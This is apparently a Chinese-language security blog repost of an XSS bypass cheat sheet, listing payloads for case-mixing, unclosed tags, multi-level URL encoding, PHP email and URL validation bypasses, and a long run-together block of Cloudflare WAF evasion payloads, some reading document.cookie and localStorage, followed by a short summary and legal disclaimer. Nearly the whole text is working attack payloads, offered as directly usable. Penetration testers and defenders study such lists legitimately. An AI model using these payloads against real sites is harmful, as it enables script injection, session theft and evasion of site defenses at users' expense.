跨站脚本攻击(XSS)速查手册(绕过篇)

admin 2026-02-10 14:58:17 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统梳理了XSS攻击的各类绕过技术,包括大小写混合、未闭合标签、多重URL编码、特殊字符替换等基础绕过方法,以及针对CloudflareWAF的字符实体编码、事件属性变形等高级绕过技巧。文档提供了大量可直接使用的Payload示例,涵盖PHP邮箱验证、URL验证等特定场景,并总结了XSS攻击的核心原理与分类,适合安全研究人员和渗透测试人员快速查阅实战应用。 综合评分: 82 文章分类: WEB安全,渗透测试,漏洞分析,安全工具,漏洞POC


cover_image

跨站脚本攻击(XSS)速查手册(绕过篇)

Khan安全团队

2026年2月9日 08:40 广东

1.1 大小写混合绕过

利用 HTML 标签大小写不敏感的特性绕过检测:

<Script>alert(document.cookie)</Script>

1.2 未闭合标签绕过

通过不闭合 HTML 标签的方式绕过检测:

<svg onload="alert(1)"

1.3 全大写载荷绕过

<SVG&nbsp;ONLOAD=ALERT(1)>

1.4 编码绕过

通过 URL 编码(单次 / 多次)绕过字符过滤:

<!-- 单次编码 -->%3Csvg%20onload%3Dalert(1)%3E<!-- 双重编码 -->%253Csvg%2520onload%253Dalert%281%29%253E<!-- 三重编码 -->%25253Csvg%252520onload%25253Dalert%25281%2529%25253E

1.5 应对 JS 小写过滤的载荷

使用特殊字符的大写脚本标签绕过小写过滤:

<SCRİPT>alert(1)</SCRİPT>

1.6 绕过 PHP 邮箱验证的载荷

<svg/onload=alert(1)>"@gmail.com

1.7 绕过 PHP URL 验证的载荷

javascript://%250Aalert(1)

1.8 注释内绕过

将恶意脚本嵌入 HTML 注释中绕过检测:

<!--><svg onload=alert(1)-->

绕过 Web 应用防火墙(WAF)

2.1 绕过 Cloudflare WAF 的载荷

<svg%0Aonauxclick=0;[1].some(confirm)//<svg&nbsp;onload=alert%26%230000000040"")><a/href=j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(1)&rpar;><svg&nbsp;onx=()&nbsp;onload=(confirm)(1)><svg&nbsp;onx=()&nbsp;onload=(confirm)(document.cookie)><svg&nbsp;onx=()&nbsp;onload=(confirm)(JSON.stringify(localStorage))>Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();"><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();"><onx=[] onmouseover=prompt(1)>%2sscript%2ualert()%2s/script%2u -xss popup<svg&nbsp;onload=alert%26%230000000040"1")>"Onx=() onMouSeoVer=prompt(1)>"Onx=[] onMouSeoVer=prompt(1)>"/*/Onx=""//onfocus=prompt(1)>"//Onx=""/*/%01onfocus=prompt(1)>"%01onClick=prompt(1)>"%2501onclick=prompt(1)>"onClick="(prompt)(1)"Onclick="(prompt(1))"OnCliCk="(prompt`1`)"Onclick="([1].map(confirm))[1].map(confirm)'ale'+'rt'()a&Tab;l&Tab;e&Tab;r&Tab;t(1)prompt&lpar;1&rpar;prompt&#40;1&#41;prompt%26%2300000000000000000040;1%26%2300000000000000000041;(prompt())(prompt``)<svg&nbsp;onload=prompt%26%230000000040document.domain)><svg&nbsp;onload=prompt%26%23x000000028;document.domain)><svg/onrandom=random onload=confirm(1)><video&nbsp;onnull=null&nbsp;onmouseover=confirm(1)><a&nbsp;id=x&nbsp;tabindex=1&nbsp;onbeforedeactivate=print(`XSS`)></a><input&nbsp;autofocus>:javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie<img&nbsp;ignored=()&nbsp;src=x&nbsp;onerror=prompt(1)>

总结

XSS 攻击核心是将恶意脚本注入页面并触发执行,按触发方式可分为反射型、存储型、基于 DOM 三类,其载荷设计需适配输入所处的上下文(标签属性、脚本块、注释等);

XSS 绕过手段主要利用语法特性(大小写、未闭合标签)、编码(URL 单次 / 多次编码)、上下文逃逸(引号 / 注释 / 标签闭合)等方式突破检测;

针对 WAF 的绕过需结合具体防护规则,通过字符编码、特殊符号、语法变形等方式规避特征匹配,其中 Cloudflare WAF 的绕过需重点关注字符实体编码、事件属性变形等技巧。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Khan安全团队 《跨站脚本攻击(XSS)速查手册(绕过篇)》

评论:0   参与:  5